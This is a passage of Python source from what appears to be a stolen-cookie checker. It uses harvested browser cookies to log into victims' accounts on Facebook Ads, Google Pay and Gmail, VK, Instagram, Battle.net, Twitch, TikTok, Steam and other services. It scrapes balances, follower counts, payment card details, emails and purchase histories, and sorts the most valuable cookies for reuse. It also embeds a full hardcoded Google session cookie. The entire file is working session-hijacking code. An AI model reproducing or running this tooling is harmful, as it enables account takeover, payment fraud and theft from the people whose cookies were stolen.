1080 r = conn((requests.get), 'https://dashboard.wordpress.com/wp-admin/index.php?page=my-blogs', cookies=cookie)
1081 soup = bs(r.text, 'html.parser')
1082 account = soup.find('li', attrs={'id': 'wp-admin-bar-my-account'})
1083 if account:
1084 sites = soup.find('span', attrs={'class': 'count'}).text.replace(')', '').replace('(', '')
1085 print(f"Valid WordPress! Sites count: {sites}")
1086 if sites:
1087 save_results('WordPress', 'WordPress.txt', f"Sites count: {sites} || Cookie:{cookie_name}\n")
1088 if settings['settings']['save_wordpress_logs'] == 1:
1089 save_logs('WordPress', cookie_name, f"Sites count: {sites} || Cookie:{cookie_name}\n")
1090 except:
1091 pass
1092
1093
1094def check_facebook_ads(cookie_name, settings):
1095 try:
1096 cookie = net_to_cookie(cookie_name, 'facebook')
1097 except:
1098 cookie = {}
1099
1100 if len(cookie) > 1:
1101 try:
1102 text = ''
1103 folder_name = ''
1104 account_status = {1:'ACTIVE', 2:'DISABLED',
1105 3:'UNSETTLED',
1106 7:'PENDING_RISK_REVIEW',
1107 8:'PENDING_SETTLEMENT',
1108 9:'IN_GRACE_PERIOD',
1109 100:'PENDING_CLOSURE',
1110 101:'CLOSED',
1111 201:'ANY_ACTIVE',
1112 202:'ANY_CLOSED'}
1113 r = conn((requests.get), (url_settings['local']['fb1']), cookies=cookie)
1114 comp_id = r.text.split(url_settings['local']['fbsplitter'])[1]
1115 comp_id = comp_id.split('")')[0]
1116 r = conn((requests.get), f"https://www.facebook.com/adsmanager/manage/campaigns?act={comp_id}", cookies=cookie)
1117 token = r.text.split('<script>(function(){window.__accessToken="')[1]
1118 token = token.split('";')[0]
1119 r = conn((requests.get), ('https://graph.facebook.com/v7.0/me/adaccounts?access_token=' + token + '&__activeScenarioIDs=[]&__activeScenarios=[]&_app=ADS_MANAGER&_reqName=me/adaccounts&_reqSrc=AdsTypeaheadDataManager&_sessionID=7d75da9daba73610&fields=["account_id","account_status","is_direct_deals_enabled","modeled_reporting_type","business{id,name}","viewable_business{id,name}","name"]&filtering=[]&include_headers=false&limit=100&locale=en_US&method=get&pretty=0&sort=name_ascending&suppress_http_code=1&xref=f313a96358273b2'), cookies=cookie)
1120 data = r.json()
1121 account_ids = [x['account_id'] for x in data['data']]
1122 account_status_list = [x['account_status'] for x in data['data']]
1123 for i in range(len(account_ids)):
1124 r = conn((requests.get), f"https://www.facebook.com/adsmanager/manage/campaigns?act={account_ids[i]}", cookies=cookie)
1125 try:
1126 bus_id = r.text.split('business_id=')[1]
1127 bus_id = bus_id.split('")')[0]
1128 except:
1129 bus_id = ''
1130
1131 r = conn((requests.get), ('https://graph.facebook.com/v7.0/act_' + account_ids[i] + '?access_token=' + token + '&__business_id=' + bus_id + '&_reqName=adaccount&_reqSrc=AdsCMPaymentsAccountDataDispatcher&_sessionID=f8e4e7df18e1486&fields=["active_billing_date_preference{day_of_month,id,next_bill_date,time_created,time_effective}","can_pay_now","can_repay_now","current_unbilled_spend","extended_credit_info","is_br_entity_account","has_extended_credit","max_billing_threshold","min_billing_threshold","min_payment","next_bill_date","pending_billing_date_preference{day_of_month,id,next_bill_date,time_created,time_effective}","promotion_progress_bar_info","show_improved_boleto","business{id,name,payment_account_id}","total_prepay_balance","is_in_middle_of_local_entity_migration","is_in_3ds_authorization_enabled_market","current_unpaid_unrepaid_invoice","has_repay_processing_invoices"]&include_headers=false&locale=en_US&method=get&pretty=0&suppress_http_code=1&xref=f2540984bdf647c'), cookies=cookie)
1132 data = r.json()
1133 try:
1134 r = conn((requests.get), ('https://graph.facebook.com/v7.0/act_' + account_ids[i] + '?access_token=' + token + '&_priority=HIGH&_reqName=adaccount&_reqSrc=AdsCMAccountSpendLimitDataLoader&_sessionID=552f4655aa06118e&fields=["spend_cap","amount_spent"]&include_headers=false&locale=ru_RU&method=get&pretty=0&suppress_http_code=1&xref=f1ffca37e32ef02'), cookies=cookie)
1135 amount_spent = r.json()['amount_spent']
1136 amount_spent = amount_spent[0:-2]
1137 except:
1138 amount_spent = '?'
1139
1140 try:
1141 r = conn((requests.get), ('https://graph.facebook.com/v7.0/act_' + account_ids[i] + '?access_token=' + token + '&_reqName=adaccount&_reqSrc=AdsPaymentMethodsDataLoader&_sessionID=552f4655aa06118e&fields=["all_payment_methods{payment_method_altpays{account_id,country,credential_id,display_name,image_url,instrument_type,network_id,payment_provider,title},pm_credit_card{account_id,credential_id,credit_card_address,credit_card_type,display_string,exp_month,exp_year,first_name,is_verified,last_name,middle_name,time_created,need_3ds_authorization,supports_recurring_in_india,verify_card_behavior},payment_method_direct_debits{account_id,address,can_verify,credential_id,display_string,first_name,is_awaiting,is_pending,last_name,middle_name,status,time_created},payment_method_extended_credits{account_id,balance,credential_id,max_balance,type,partitioned_from,sequential_liability_amount},payment_method_paypal{account_id,credential_id,email_address,time_created},payment_method_stored_balances{account_id,balance,credential_id,total_fundings},payment_method_tokens{account_id,credential_id,current_balance,original_balance,time_created,time_expire,type}}"]&include_headers=false&locale=ru_RU&method=get&pretty=0&suppress_http_code=1&xref=f17ca7e607e089c'), cookies=cookie)
1142 datas = r.json()
1143 text += f"Card Country: : {datas['all_payment_methods']['pm_credit_card']['data'][0]['credit_card_address']['country_code']}\n{datas['all_payment_methods']['pm_credit_card']['data'][0]['display_string']}::{datas['all_payment_methods']['pm_credit_card']['data'][0]['exp_month']}/{datas['all_payment_methods']['pm_credit_card']['data'][0]['exp_year']}\n"
1144 except Exception as err:
1145 try:
1146 text = ''
1147 finally:
1148 err = None
1149 del err
1150
1151 main_f_name = get_path(cookie_name).split('\\')[1]
1152 folder_name += f"({data['current_unbilled_spend']['amount']}_{data['current_unbilled_spend']['currency']}_{account_status[account_status_list[i]]}_{amount_spent})_"
1153
1154 folder_name += main_f_name
1155 if not os.path.exists('fb_ads'):
1156 os.mkdir('fb_ads')
1157 save_logs(f"fb_ads\\{folder_name}", cookie_name, (f"{folder_name}"))
1158 save_results(f"fb_ads\\{folder_name}", 'Account info.txt', text)
1159 except Exception as err:
1160 try:
1161 pass
1162 finally:
1163 err = None
1164 del err
1165
1166
1167def check_funpay(cookie_name, settings):
1168 cookie = net_to_cookie(cookie_name, 'funpay')
1169 if len(cookie) > 1:
1170 try:
1171 r = conn((requests.get), (url_settings['services']['funpay']), cookies=cookie)
1172 soup = bs(r.text, 'html.parser')
1173 balance = soup.find('span', attrs={'class': url_settings['local']['funpay']}).text
1174 transactions = soup.find_all('div', attrs={'class': 'tc-item transaction-status-complete'})
1175 print(f"Funpay || Balance: {balance} || Transactions: {len(transactions)}")
1176 save_results('Funpay', 'Funpay.txt', f"Funpay || Balance: {balance} || Transaction s: {len(transactions)}\nCookie:{cookie_name}")
1177 if settings['settings']['save_funpay_logs'] == 1:
1178 save_logs('Funpay', cookie_name, f"Funpay || Balance: {balance} || Transactions: {len(transactions)}\nCookie:{cookie_name}")
1179 if settings['cookies']['funpay'] == 1:
1180 save_cookies('Funpay_cookies', cookie_name)
1181 except:
1182 pass
1183
1184
1185def check_vk(cookie_name, settings):
1186 cookie = net_to_cookie(cookie_name, 'vk')
1187 if len(cookie) > 1:
1188 if not os.path.exists('VK'):
1189 os.mkdir('VK')
1190 try:
1191 group_info = ''
1192 subs_count = 0
1193 session = requests.Session()
1194 r = conn((session.get), 'https://vk.com/feed', cookies=cookie)
1195 soup = bs(r.text, 'html.parser')
1196 id = soup.find('li', attrs={'id': 'l_pr'}).find_next('a').get('href')
1197 r = conn((session.get), f"https://vk.com{id}", cookies=cookie)
1198 soup = bs(r.text, 'html.parser')
1199 friends = soup.find('a', attrs={'class': url_settings['local']['vk']}).find_next('div', attrs={'class': 'count'}).text
1200 subs = soup.find_all('a', attrs={'class': 'page_counter'})[1].find_next('div', attrs={'class': 'count'}).text
1201 url = soup.find('a', attrs={'class': 'module_header'}).get('href')
1202 if friends != None:
1203 text_to_save = f"PROFILE URL - https://vk.com/id{url.replace('/gifts', '')} || friends - {friends} || subscribers - {subs} || Cookie:{cookie_name}"
1204 print(f"PROFILE URL - https://vk.com/id{url.replace('/gifts', '')} || Друзей - {friends} || Подписчиков - {subs} ||Cookie:{cookie_name}\n\n")
1205 if int(friends) > int(settings['save_filters']['vk_min_friends']):
1206 path_to_save = f"VK\\VK_{settings['save_filters']['vk_min_friends']}+"
1207 save_results(path_to_save, 'VK.txt', text_to_save)
1208 else:
1209 path_to_save = 'VK'
1210 save_results(path_to_save, 'VK.txt', text_to_save)
1211 if settings['settings']['save_vk_logs'] == 1:
1212 save_logs(path_to_save, cookie_name, f"PROFILE URL - https://vk.com/id{url.replace('/gifts', '')} || Друзей - {friends} || Подписчиков - {subs} ||Cookie:{cookie_name}")
1213 r = conn((requests.get), 'https://vk.com/groups?tab=admin', cookies=cookie)
1214 soup = bs(r.text, 'html.parser')
1215 try:
1216 groups = soup.find_all('div', attrs={'id': 'groups_list_admin'})[0]
1217 for i in groups:
1218 group_url = i.find('a', attrs={'class': 'group_row_photo'})
1219 group_sub = i.find_all('div', attrs={'class': 'group_row_labeled'})[(-1)].text
1220 group_info += f"{group_url.get('href')} => {group_sub}\n"
1221 subs_count += int(group_sub.split(' ')[0])
1222
1223 if subs_count > 20:
1224 group_info += f"\n{cookie_name}\n"
1225 save_results('VK\\VK_groups', f"{subs_count}Подписчиков_vk_{random.randint(1, 10000000)}.txt", group_info)
1226 except:
1227 pass
1228
1229 if settings['cookies']['vk'] == 1:
1230 save_cookies('VK_Cookies', cookie_name)
1231 if settings['other']['save_vk_tokens'] == 1:
1232 get_vk_token(cookie)
1233 except Exception as err:
1234 try:
1235 pass
1236 finally:
1237 err = None
1238 del err
1239
1240
1241def check_instagram(cookie_name, settings):
1242 global inst_cookies
1243 cookie = net_to_cookie(cookie_name, 'instagram')
1244 if len(cookie) > 1:
1245 try:
1246 r = conn((requests.get), (url_settings['services']['instagram']), cookies=cookie)
1247 html = r.text.split('window._sharedData = ')[1]
1248 html = html.split(';</script>')[0]
1249 data = json.loads(html)
1250 profile_url = f"https://www.instagram.com/{data['config']['viewer']['username']}"
1251 number_verif = data['config']['viewer']['has_phone_number']
1252 r = conn((requests.get), profile_url, cookies=cookie)
1253 html = r.text.split('window._sharedData = ')[1]
1254 html = html.split(';</script>')[0]
1255 data = json.loads(html)
1256 subs_count = data['entry_data']['ProfilePage'][0]['graphql']['user'][(f"{url_settings['local']['instagram']}")]['count']
1257 print(f"PROFILE URL - {profile_url} || PHONE_VERIF - {number_verif} || SUBSCRIBERS - {subs_count}\nCookie:{cookie_name}\n\n")
1258 if not os.path.exists('Instagram'):
1259 os.mkdir('Instagram')
1260 elif settings['cookies']['instagram'] == 1:
1261 if profile_url not in inst_cookies:
1262 save_cookies('Instagram_cookies', cookie_name)
1263 inst_cookies.append(profile_url)
1264 if int(subs_count) > int(settings['save_filters']['inst_min_subs']):
1265 path_to_save = f"Instagram\\Instagram_{settings['save_filters']['inst_min_subs']}"
1266 save_results(path_to_save, 'Instagram.txt', f"PROFILE URL - {profile_url} || PHONE_VERIF - {number_verif} || SUBSCRIBERS - {subs_count}\nCookie:{cookie_name}")
1267 else:
1268 path_to_save = 'Instagram'
1269 save_results(path_to_save, 'Instagram.txt', f"PROFILE URL - {profile_url} || PHONE_VERIF - {number_verif} || SUBSCRIBERS - {subs_count}\nCookie:{cookie_name}")
1270 if settings['settings']['save_instagram_logs'] == 1:
1271 save_logs(path_to_save, cookie_name, f"PROFILE URL - {profile_url} || PHONE_VERIF - {number_verif} || SUBSCRIBERS - {subs_count}\nCookie:{cookie_name}")
1272 except Exception as err:
1273 try:
1274 pass
1275 finally:
1276 err = None
1277 del err
1278
1279
1280def check_google_cards(cookie_name, settings):
1281 cookie = net_to_cookie(cookie_name, 'google')
1282 if len(cookie) > 1:
1283 headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36'}
1284 r = requests.get(url='https://pay.google.com/gp/w/u/0/home/paymentmethods',
1285 headers=headers,
1286 cookies=cookie)
1287 ebp = 'ALFTW' + r.text.split('["ALFTW')[1].split('"')[0]
1288 ebp = ebp.replace('\\u003d', '=')
1289 r = requests.post(url='https://payments.google.com/payments/u/0/payment_methods?tc=35&wst=1615318656103&cst=1615318656163&si=4159804116250443&sri=2&ipi=enmi2bvy5j5m&hostOrigin=aHR0cHM6Ly9wYXkuZ29vZ2xlLmNvbQ..&origin=https%3A%2F%2Fpay.google.com&mm=e&hl=ru&style=%3Apc%3D%23fff%3Btn%3Dpc%3Bnav%3DPT%3Bm2_o&cn=%24p_bz5qly6qqiry0',
1290 headers=headers,
1291 data={'ebp': ebp},
1292 cookies=cookie)
1293 if '••••' in r.text:
1294 print('Found google pay')
1295 save_logs('GooglePay', cookie_name, f"Cookie: {cookie_name}")
1296
1297
1298def check_google(cookie_name, settings, zapros):
1299 cookie = net_to_cookie(cookie_name, 'google')
1300 if not os.path.exists(f"Google_{zapros}"):
1301 os.mkdir(f"Google_{zapros}")
1302 if len(cookie) > 1:
1303 try:
1304 headers = {'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36',
1305 'cookie':'COMPASS=bigtop-sync=CrUBAAlriVcH_bppSRQnD-BWkgxOMar8pqEvrwZ4nqsLqYO9hDfZn-clPP6vUUXR1aC6Km-Y_W-ljhQWPvn1E3FiNT6JEoKyzDTixurffeCwQVxNcRwl2iQt8vCpEtzSGSvF_zPGrHTvQHCCLkAjr6b9h-RBcqPWRH4seaViUAdQMlKBoRL8wic6swFaT8YJ7mXqrgElH7rkjy-sPWZYxwH11SYgsvgb9lo1fFGZsiZRYjyvldfVYBDKkPyDBhrIAQAJa4lXZxXVsPpwAFNA8ZgQhjnaeGmoDYZKDNacNSqVwBBeoyYPQY1yWR-o3afWbN65K9zQB20n6G3howuuvW67qXhN9JfyVfmZVTNQ1cYjccWR7Tzq8uelHuupc57aJyq8JqMVFVMLsLJnfDNU8L3NFikMv4yReDPhT6F-3vyCfINi02pP6ikKbCfF5kFRsOGvtVBj3flWuv1-Z9eXRCwfTXwU0A4974kc4UwrIsxvT3w3wiMv21fizhGfjzF4bMOS5PL361yr; CONSENT=YES+RU.ru+202002; ANID=AHWqTUljLhwaam33PAtLznZ5f79Ipo-xo4Q_Br49RFmE11K_xlW8KGogLCMCeB-b; __Host-GMAIL_SCH_GMN=1; __Host-GMAIL_SCH_GMS=1; __Host-GMAIL_SCH_GML=1; SEARCH_SAMESITE=CgQIqpIB; HSID=A6Y-AdkK8_JMCCqw3; SSID=AvhswOIlB9L3_aV9A; APISID=QPmEkgFAIkyry22d/ACf5CZZQJYzuMsIKB; SAPISID=48kPu6_NuuW4tyax/AdYtStd9bYCIOE5ZB; __Secure-3PAPISID=48kPu6_NuuW4tyax/AdYtStd9bYCIOE5ZB; SID=8gfJsHaABDZ1-5-2sYu3JjnrIRhyxwnLMmC9uaQbzxiq4KaTr0D33_20xcXYIMsQ96tJug.; __Secure-3PSID=8gfJsHaABDZ1-5-2sYu3JjnrIRhyxwnLMmC9uaQbzxiq4KaTzv2au1msdCEBnZR39MNlbA.; OGPC=19022552-1:; OSID=8gfJsAvwalLHGSqYXcUsTNLq_koIMVpkWx0TGQTPN_58yVtCjOgpqNpW6l1r16HL8TVNGg.; __Secure-OSID=8gfJsAvwalLHGSqYXcUsTNLq_koIMVpkWx0TGQTPN_58yVtCf9ISqqNirAFwhJAMtFQgyg.; NID=213=tLNr2Unl4myaC8for_SQxhUwcE6lmojGACyh-k_u0Fa8QjxXqYgXEZTH1Q1kVhXy2Mg2r1pvQBR45jOAUbWl7C9nrxgTJESF0yJF5N9PhLn1haAZHjRIAAe6Savl-YBoFihckPvGcO9Smcpb9wzaPxYU79KuH3iaLaAji9mMvVu61hM0ISWJNqR7Yor07_O4ITIPOHMoIp_z0svSLgMmDmdoZhG40z-bgpvXk0qjpH87f3wa_X_KA1udYvTuLJINWIsv9WVA6xH3UnqHNtrEONQuEFf8ceI8h6rmSqr4uyNYUl4PQTctfEGweFMg0eNvRldbElNPwgWWgZl0I6D-Aqtw6F3KoiwLG3zWhURSdFZbGGgyFH-QpVSShLMD6lMpUJYRkYB92NBC9spi5AuCW6cp6biw5gQfBDFy; __Host-GMAIL_SCH=nsl; S=cloudsearch=pE3x9H-EMdhY7DbVrrCvwXsxHo072BtM1snBGxkJuUY; 1P_JAR=2021-04-20-16; SIDCC=AJi4QfFMcC1mJMAnfas_5w9El3Bd2oKOWcHQQ82zKbkXL4UzmSOszRFID-OhvUyER7HSrbJoTlk; __Secure-3PSIDCC=AJi4QfEIPBF2Ay9rId_F_Cczo51OOYNXo3LEbraDC7Sopfsm7UG6fOe9-jYzkDvVqeBt0yAGSM3Z'}
1306 session = requests.Session()
1307 r = conn((session.get), 'https://mail.google.com/mail/u/0/?tab=km#search/cracked.to', cookies=cookie, headers=headers)
1308 print(r.text)
1309 except Exception as err:
1310 try:
1311 print(err)
1312 finally:
1313 err = None
1314 del err
1315
1316
1317def check_battlenet(cookie_name, settings):
1318 cookie = net_to_cookie(cookie_name, 'battle')
1319 if len(cookie) > 1:
1320 try:
1321 r = conn((requests.get), (url_settings['services']['battlenet']), cookies=cookie)
1322 soup = bs(r.text, 'html.parser')
1323 auth = soup.find('div', attrs={'class': url_settings['local']['battlenet']}).text
1324 save_results('BattleNet', 'BattleNet.txt', f"valid Cookie:{cookie_name}")
1325 if settings['settings']['save_battlenet_logs'] == 1:
1326 save_logs('BattleNet', cookie_name, f"valid Cookie:{cookie_name}")
1327 except Exception as err:
1328 try:
1329 pass
1330 finally:
1331 err = None
1332 del err
1333
1334
1335def check_battlenet_games(cookie_name, settings):
1336 cookie = net_to_cookie(cookie_name, 'battle')
1337 if len(cookie) > 1:
1338 try:
1339 path_to_save = 'Battlenet_full'
1340 if not os.path.exists('Battlenet_full'):
1341 os.mkdir('Battlenet_full')
1342 if not os.path.exists('Battlenet_full\\Auth_False'):
1343 os.mkdir('Battlenet_full\\Auth_False')
1344 else:
1345 if not os.path.exists('Battlenet_full\\Auth_True'):
1346 os.mkdir('Battlenet_full\\Auth_True')
1347 else:
1348 session = requests.Session()
1349 r = session.get('https://account.blizzard.com/oauth2/authorization/account-settings?ref=/transactions', cookies=cookie)
1350 r = session.get('https://eu.battle.net/oauth/authorize?response_type=code&client_id=057adb2af62a4d59904f74754838c4c8&scope=account.full commerce.virtualcurrency.full commerce.virtualcurrency.basic&state=eyJzdGF0ZUVudHJvcHkiOiJLUkJXVXdkWk5zRjM2VG1OT3RTQjhodWJxSDJCN3BCWlRWYzM4OEk5LWM4PSIsInJlZmVycmVyIjoiL3RyYW5zYWN0aW9ucyJ9&redirect_uri=https://account.blizzard.com/login/oauth2/code/account-settings®istration_id=account-settings', cookies=cookie)
1351 r = session.get('https://account.blizzard.com/api/transactions?regionId=2', cookies=cookie)
1352 data = r.json()
1353 r = session.get('https://account.blizzard.com/api/overview', cookies=cookie)
1354 account_info = r.json()
1355 isAuth = account_info['accountSecurityStatus']['authenticatorAttached']
1356 isSMSprotect = account_info['accountSecurityStatus']['smsProtectAttached']
1357 email = account_info['accountDetails']['email']
1358 text = 'Покупки:\n'
1359 for i in data['purchases']:
1360 text += f"{i['productTitle']} == {i['formattedTotal']}\n"
1361
1362 text += '\nГифты:\n'
1363 for i in data['giftClaims']:
1364 text += f"{i['productTitle']}\n"
1365
1366 if isAuth:
1367 path_to_save += '\\Auth_True'
1368 else:
1369 path_to_save += '\\Auth_False'
1370 if len(data['purchases']) >= 1 or len(data['giftClaims']) >= 1:
1371 if 'Overwatch' in text:
1372 path_to_save += '\\Overwatch'
1373 else:
1374 if 'Call of Duty' in text:
1375 path_to_save += '\\CoD'
1376 else:
1377 if 'Diablo' in text:
1378 path_to_save += '\\Diablo'
1379 else:
1380 path_to_save += '\\WithPurchases'
1381 save_results(path_to_save, 'Battlenet_full.txt', f"{text}\nAuth - {isAuth}\nSMSprotect - {isSMSprotect}\nemail - {email}\nCookie:{cookie_name}\n{'=================================================='}\n")
1382 if settings['settings']['save_battlenet_logs'] == 1:
1383 save_logs(path_to_save, cookie_name, f"{text}\nAuth - {isAuth}\nSMSprotect - {isSMSprotect}\nemail - {email}\nCookie:{cookie_name}\n{'=================================================='}\n")
1384 except Exception as err:
1385 try:
1386 pass
1387 finally:
1388 err = None
1389 del err
1390
1391
1392def check_twitch_affiliate(cookie_name, settings):
1393 cookie = net_to_cookie(cookie_name, 'twitch')
1394 auth = cookie['auth-token']
1395 login = cookie['login']
1396 data = [{'operationName':'SunlightHomePage', 'variables':{'login': login}, 'extensions':{'persistedQuery': {'version':1, 'sha256Hash':'887d84ea7f55e316c9d3d1ab842f2f3e1ba7d0bbcc7ebfcc8e85af9befc06898'}}}]
1397 headers = {'user-agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0', 'x-device-id':'901d590a150457b0',
1398 'Authorization':f"OAuth {auth}"}
1399 if len(cookie) > 1:
1400 try:
1401 r = requests.post('https://gql.twitch.tv/gql#origin=twilight', cookies=cookie, headers=headers, json=data)
1402 data = r.json()
1403 isAffiliate = data[0]
1404 if "'isAffiliate': True" in str(isAffiliate):
1405 print('Twitch Affiliated account!')
1406 save_results('Twitch_affiliates', 'Twitch_affiliate.txt', f"Cookie:{cookie_name}\n")
1407 save_cookies('Twitch_affiliate_cookies', cookie_name)
1408 if settings['settings']['save_twitch_logs'] == 1:
1409 save_logs('Twitch_affiliates', cookie_name, f"Cookie: {cookie_name}")
1410 except Exception as err:
1411 try:
1412 pass
1413 finally:
1414 err = None
1415 del err
1416
1417
1418def check_twitch_pay(cookie_name, settings):
1419 cookie = net_to_cookie(cookie_name, 'twitch')
1420 auth = cookie['auth-token']
1421 user_id = cookie['persistent'].split('%')[0]
1422 data = [{'operationName':'PaymentMethodsTab_UserPaymentMethods', 'variables':{'internationalDisabled': True}, 'extensions':{'persistedQuery': {'version':1, 'sha256Hash':'cf5a84ff7967ad300c523488ac75dea7417a6e462e378dd4275278f7b85f189e'}}}, {'operationName':'TransactionHistoryTab_UserPaymentTransactions', 'variables':{'first':15, 'after':'0', 'filters':{'userID':user_id, 'sortBy':'PURCHASE_DATE_DESC', 'type':'ALL'}}, 'extensions':{'persistedQuery': {'version':1, 'sha256Hash':'21f87a7089adaa3d0495249511e6a0783f42b29f685274c6950a0e56979a594e'}}}, {'operationName':'BitsUsageHistoryTab_UserBitsEvents', 'variables':{'first':15, 'after':'0', 'filters':{}}, 'extensions':{'persistedQuery': {'version':1, 'sha256Hash':'3fae6a5e0be9f04368a5c091dc333bcef99369ecf8739148751ac90ce5b8042e'}}}, {'operationName':'BitsAutoRefillTab', 'variables':{}, 'extensions':{'persistedQuery': {'version':1, 'sha256Hash':'7fab97d67c3f10f9d2b380496d191fd997924ffe68920737318c68c44551a9b4'}}}, {'operationName':'BitsAutoRefillTwoFactorRequired', 'variables':{}, 'extensions':{'persistedQuery': {'version':1, 'sha256Hash':'d6de9c44d0d5aa7f58390c3ab7828e582aca57e17b848d0f714bee21496bb665'}}}]
1423 headers = {'user-agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0', 'x-device-id':'901d590a150457b0',
1424 'Authorization':f"OAuth {auth}"}
1425 if len(cookie) > 1:
1426 try:
1427 methods_count = 0
1428 r = requests.post('https://gql.twitch.tv/gql#origin=twilight', cookies=cookie, headers=headers, json=data)
1429 data = r.json()
1430 payments_data = data[0]['data']['currentUser']['paymentMethods']
1431 for i in payments_data:
1432 if len(i['chargeInstrumentID']) > 2:
1433 methods_count += 1
1434
1435 if methods_count >= 1:
1436 print(f"found twitch {methods_count}")
1437 save_cookies('Twitch_payments_cookies', cookie_name)
1438 if settings['settings']['save_twitch_logs'] == 1:
1439 save_logs('Twitch_payments', cookie_name, f"Cookie{cookie_name}\nPayment methods:{methods_count}\n")
1440 save_results('Twitch_payments', f"TwitchPayment{random.randint(1, 19999999)}.txt", f"Payment methods: {methods_count}\nCookie:{cookie_name}\n")
1441 except:
1442 pass
1443
1444
1445def check_pathofexile(cookie_name, settings):
1446 cookie = net_to_cookie(cookie_name, 'pathofexile')
1447 if len(cookie) > 1:
1448 try:
1449 characters = ''
1450 r = conn((requests.post), 'https://ru.pathofexile.com/character-window/get-characters', cookies=cookie)
1451 data = r.json()
1452 for i in data:
1453 characters += f"{i['name']} | league:{i['league']} | level:{i['level']}\n"
1454
1455 r = conn((requests.get), 'https://ru.pathofexile.com/my-account', cookies=cookie)
1456 soup = bs(r.text, 'html.parser')
1457 money = soup.find('span', attrs={'class': 'amount shopCurrentCoinValue account'}).text
1458 account_name = r.text.split('var a = new A({"name":"')[1].split('"')[0]
1459 r = conn((requests.get), f"https://ru.pathofexile.com/character-window/get-stash-items?accountName={account_name}&realm=pc&league=Heist&tabs=1&tabIndex=0", cookies=cookie)
1460 tabs_count = r.json()['numTabs']
1461 print('Path Of Exile account!')
1462 text_to_insert = f"{'=============================='}\n\nBalance: {money}\nКоличество вкладок в инвентаре: {tabs_count}\nCharacters:\n{characters}\nCookie:{cookie_name}\n{'=============================='}\n\n"
1463 save_results('PathOfExile', 'Poe_info.txt', text_to_insert)
1464 if settings['settings']['save_pathofexile_logs'] == 1:
1465 save_logs('PathOfExile', cookie_name, f"{'=============================='}\n\nBalance: {money}\nКоличество вкладок в инвентаре: {tabs_count}\nCharacters:\n{characters}\nCookie:{cookie_name}\n{'=============================='}\n\n")
1466 except:
1467 pass
1468
1469
1470def check_tiktok(cookie_name, settings):
1471 cookie = net_to_cookie(cookie_name, 'tiktok')
1472 headers = {'user-agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', 'upgrade-insecure-requests':'1'}
1473 if len(cookie) > 1:
1474 try:
1475 r = conn((requests.get), 'https://www.tiktok.com/404?fromUrl=/me', cookies=cookie, headers=headers, allow_404=True)
1476 id = r.text.split('"uniqueId":"')[1].split('"')[0]
1477 r = conn((requests.get), f"https://www.tiktok.com/@{id}", cookies=cookie, headers=headers, allow_404=True)
1478 soup = bs(r.text, 'html.parser')
1479 followers = soup.find_all('div', attrs={'class': 'number'})
1480 followers_count = followers[1].text.replace('Followers', '')
1481 likes_count = followers[2].text.replace('Likes', '')
1482 if int(followers_count) > int(settings['save_filters']['tiktok_min_subs']):
1483 path_to_save = f"TikTok\\TikTok_{settings['save_filters']['tiktok_min_subs']}+"
1484 save_results(path_to_save, 'TikTok.txt', f"Followers:{followers_count}\nLikes:{likes_count}\nCookie:{cookie_name}\n")
1485 else:
1486 path_to_save = 'TikTok'
1487 save_results('TikTok', f"{followers_count} followers_{random.randint(1, 10000000)}.txt", f"Followers:{followers_count}\nLikes:{likes_count}\nCookie:{cookie_name}\n")
1488 if settings['settings']['save_tiktok_logs'] == 1:
1489 save_logs(path_to_save, cookie_name, f"Followers:{followers_count}\nLikes:{likes_count}\nCookie:{cookie_name}\n")
1490 except Exception as err:
1491 try:
1492 pass
1493 finally:
1494 err = None
1495 del err
1496
1497
1498def check_steam(cookie_name, settings):
1499 headers = {'accept-language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3',
1500 'user-agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0'}
1501 cookie = net_to_cookie(cookie_name, 'steam')
1502 if len(cookie) > 1:
1503 try:
1504 r = conn((requests.get), (url_settings['services']['steam']), cookies=cookie)
1505 soup = bs(r.text, 'html.parser')
1506 inv_url = soup.find_all('a', attrs={'class': 'submenuitem'})[17].get('href')
1507 profile_url = soup.find('a', attrs={'class': 'user_avatar playerAvatar offline'}).get('href')
1508 try:
1509 balance = soup.find('div', attrs={'class': url_settings['local']['steam']}).text
1510 except Exception as balance_err:
1511 try:
1512 balance = 'None'
1513 finally:
1514 balance_err = None
1515 del balance_err
1516
1517 try:
1518 guard = soup.find('div', attrs={'class': 'account_security_block'}).find_next('div', attrs={'class': 'account_data_field'}).text.replace('\t\t\t\t\t\t\t', '').replace('\n', '')
1519 guard = '{0}'.format(guard)
1520 except Exception as guard_err:
1521 try:
1522 guard = 'Не удалось получить информацию'
1523 finally:
1524 guard_err = None
1525 del guard_err
1526
1527 try:
1528 mail = soup.find_all('div', attrs={'class': 'account_setting_sub_block'})[3].find_next('span', attrs={'class': 'account_data_field'}).text
1529 except Exception as mail_err:
1530 try:
1531 mail = '?'
1532 finally:
1533 mail_err = None
1534 del mail_err
1535
1536 r = conn((requests.get), inv_url, cookies=cookie)
1537 soup = bs(r.text, 'html.parser')
1538 try:
1539 items_all = soup.find('div', attrs={'class': 'games_list_tabs'})
1540 games = items_all.find_all_next('span', attrs={'class': 'games_list_tab_name'})
1541 items_count = items_all.find_all_next('span', attrs={'class': 'games_list_tab_number'})
1542 inventory_text = ''
1543 for i in range(len(games)):
1544 inventory_text += f"{games[i].text}: {items_count[i].text}\n"
1545
1546 except Exception as err:
1547 try:
1548 items_all = 0
1549 games = 0
1550 items_count = 0
1551 inventory_text = 'Failed to load inventory info'
1552 finally:
1553 err = None
1554 del err
1555
1556 try:
1557 r = conn((requests.get), f"https://csgobackpack.net/?nick={profile_url}", cookies=cookie, headers=headers)
1558 soup = bs(r.text, 'html.parser')
1559 price = soup.find('div', attrs={'class': 'well'}).find_next('p').text
1560 except:
1561 price = '???'
1562
1563 if len(price) >= 11:
1564 price = '???'
1565 print(f"PROFILE URL - {profile_url} || BALANCE - {balance}\n\nINVENTORY:\n{inventory_text}")
